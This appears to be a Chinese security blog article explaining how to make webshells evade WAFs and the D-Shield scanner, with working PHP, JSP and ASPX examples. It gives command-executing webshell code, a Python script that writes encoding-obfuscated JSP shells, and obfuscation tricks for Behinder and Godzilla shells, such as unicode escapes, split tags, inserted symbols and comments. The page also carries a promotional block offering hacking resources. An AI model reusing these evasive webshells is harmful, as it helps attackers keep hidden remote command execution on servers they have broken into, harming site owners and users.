天天看點

安全實戰:webshell的幾種免殺方式

作者:KaliMa

php的免殺

傳統的php免殺不用多說了 無非就是各種變形和外部參數擷取,對于一些先進的waf和防火牆來說,不論如何解析最終都會到達指令執行的地方,但是如果文法報錯的話,就可能導緻解析失敗了,這裡簡單說幾個利用php版本來進行語義出錯的php指令執行方式。

1、利用在高版本php文法不換行來執行指令

<?=
$a=<<< aa
assasssasssasssasssasssasssasssasssasssasssassss
aa;echo `whoami`
?>
           

5.2版本報錯,

安全實戰:webshell的幾種免殺方式

【一>所有資源關注我,私信回複“資料”擷取<一】

1、網絡安全學習路線

2、電子書籍(白帽子)

3、安全大廠内部視訊

4、100份src文檔

5、常見安全面試題

6、ctf大賽經典題目解析

7、全套工具包

8、應急響應筆記

5.3報錯

安全實戰:webshell的幾種免殺方式

5.4版本報錯

安全實戰:webshell的幾種免殺方式

7.3.4成功執行指令

安全實戰:webshell的幾種免殺方式

2、利用\特殊符号來引起報錯

<?php
\echo `whoami`;?>
           

5.3執行指令失敗

安全實戰:webshell的幾種免殺方式

7.3執行指令失敗

安全實戰:webshell的幾種免殺方式

5.2成功執行

安全實戰:webshell的幾種免殺方式

3、十六進制字元串

在php7中不認為是數字,php5則依舊為數字

經過測試 5.3 和5.5可以成功執行指令,5.2和php7無法執行

<?php
$s=substr("aabbccsystem","0x6");
$s(whoami)
?>
           

7.3 指令執行失敗

安全實戰:webshell的幾種免殺方式

5.2 指令執行失敗

安全實戰:webshell的幾種免殺方式

5.3 指令執行成功

安全實戰:webshell的幾種免殺方式

除此之外,還有很多種利用版本差異性來bypass一些沒有對所有版本進行檢測更新的所謂的"先進waf"。

當然,對于我們可以結合垃圾資料,變形混淆,以及大量特殊字元和注釋的方式來構造更多的payload,畢竟每家的waf規則不同,配置也不同,與一些傳輸層面的bypass進行結合産生的可能性就會非常多樣。

例如:

7.0版本的??特性,如果版本為5.x的話就會報錯,可以結合一些其他的方式吧

<?php
$a = $_GET['function'] ?? 'whoami';
$b = $_GET['cmd'] ?? 'whoami';
$a(null.(null.$b));
           

jsp免殺

本人對java研究的不是非常深入,是以主要分享的還是平時收集的幾個小tips,如果有沒看過的師傅現在看到了也是極好的,java unicode繞過就不再多言。

0、小小Tips

jsp的字尾可以相容為jspx的代碼,也相容jspx的所有特性,如CDATA特性。

jspx的字尾不相容為jsp的代碼,jspx隻能用jspx的格式

1、jspx CDATA特性

在XML元素裡,<和&是非法的,遇到<解析器會把該字元解釋為新元素的開始,遇到&解析器會把該字元解釋為字元實體化編碼的開始。但是我們有時候有需要在jspx裡添加js代碼用到大量的<和&字元,是以可以将腳本代碼定義為CDATA。

CDATA部分内容會被解析器忽略。

格式:<![CDATA[xxxxxxxxxxxxxxxxxxx]]>

例如

String cmd = request.getPar<![CDATA[ameter]]>(“shell”);

此時ameter依舊會與getPar拼接成為getParameter

2、實體化編碼

if (cmd !=null){
        Process child = Runtime.getRuntime().exec(cmd);
        InputStream in = child.getInputStream();
           

這裡實體化編碼先知渲染展現不出來

安全實戰:webshell的幾種免殺方式

3、利用java支援其他編碼格式來進行繞過

#python2
charset = "utf-8"
data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>'''.format(charset=charset)

f16be = open('utf-16be.jsp','wb')
f16be.write('<%@ page contentType="charset=utf-16be" %>')
f16be.write(data.encode('utf-16be'))

f16le = open('utf-16le.jsp','wb')
f16le.write('<jsp:directive.page contentType="charset=utf-16le"/>')
f16le.write(data.encode('utf-16le'))

fcp037 = open('cp037.jsp','wb')
fcp037.write(data.encode('cp037'))
fcp037.write('<%@ page contentType="charset=cp037"/>')
           
安全實戰:webshell的幾種免殺方式

可以看到對于D盾的免殺效果還是非常好的。

安全實戰:webshell的幾種免殺方式

aspx的免殺

aspx免殺的方式相對于PHP和java的較少,這裡列出5種方式來bypass進行免殺

1、unicode編碼

2、空字元串連接配接

3、<%%>截斷

3、頭部替換

5、特殊符号@

6、注釋

我們以一個普通的冰蠍馬作為示例

<%@ Page Language="Jscript"%>[eval(@Request.Item["pass"],"unsafe");%](mailto:eval(@Request.Item[)
           

這一步無需多言,一定是會被D盾所清除的

安全實戰:webshell的幾種免殺方式

例如eval他可以變為

\u0065\u0076\u0061\u006c

<%@ Page Language="Jscript"%><%\u0065\u0076\u0061\u006c(@Request.Item["pass"],"unsafe");%>
           

經過我本地的測試,在JScript的情況下它不支援大U和多個0的增加

而在c#的情況下,是可以支援的

安全實戰:webshell的幾種免殺方式

在函數字元串中插入這些字元都不會影響腳本的正常運作,在測試前需要注意該類字元插入的位置,否則插入錯誤的地方會産生報錯

\u200c

\u200d

\u200e

\u200f

3、使用<%%>文法

将整個字元串與函數利用<%%>進行分割

<%@Page Language=JS%><%eval%><%(Request.%><%Item["pass"],"unsafe");%>
           

4、頭部免殺

之前有遇到過檢測該字段的<%@ Page Language=“C#” %>,這個是辨別ASPX的一個字段,

針對該字段進行免殺[%@Language=CSHARP%](mailto:%@Language=CSHARP%)很久之前修改為這樣就過了

同樣的,可以修改為

<%@ Page Language=“Jscript”%>------》<%@Page Language=JS%>

也可以将該字段放在後面,不一定要放前面等

5、使用符号

如哥斯拉webshell存在特征代碼,可以添加@符号但是不會影響其解析。

(Context.Session["payload"] == null)
(@Context.@Session["payload"] == null)
           
安全實戰:webshell的幾種免殺方式
安全實戰:webshell的幾種免殺方式

6、注釋可以随意插入

如下所示為冰蠍部分代碼

<%/*qi*/Session./*qi*/Add(@"k"/*qi*/,/*qi*/"e45e329feb5d925b"/*qi*/)
           

可以與<%%>結合使用效果會更好

繼續閱讀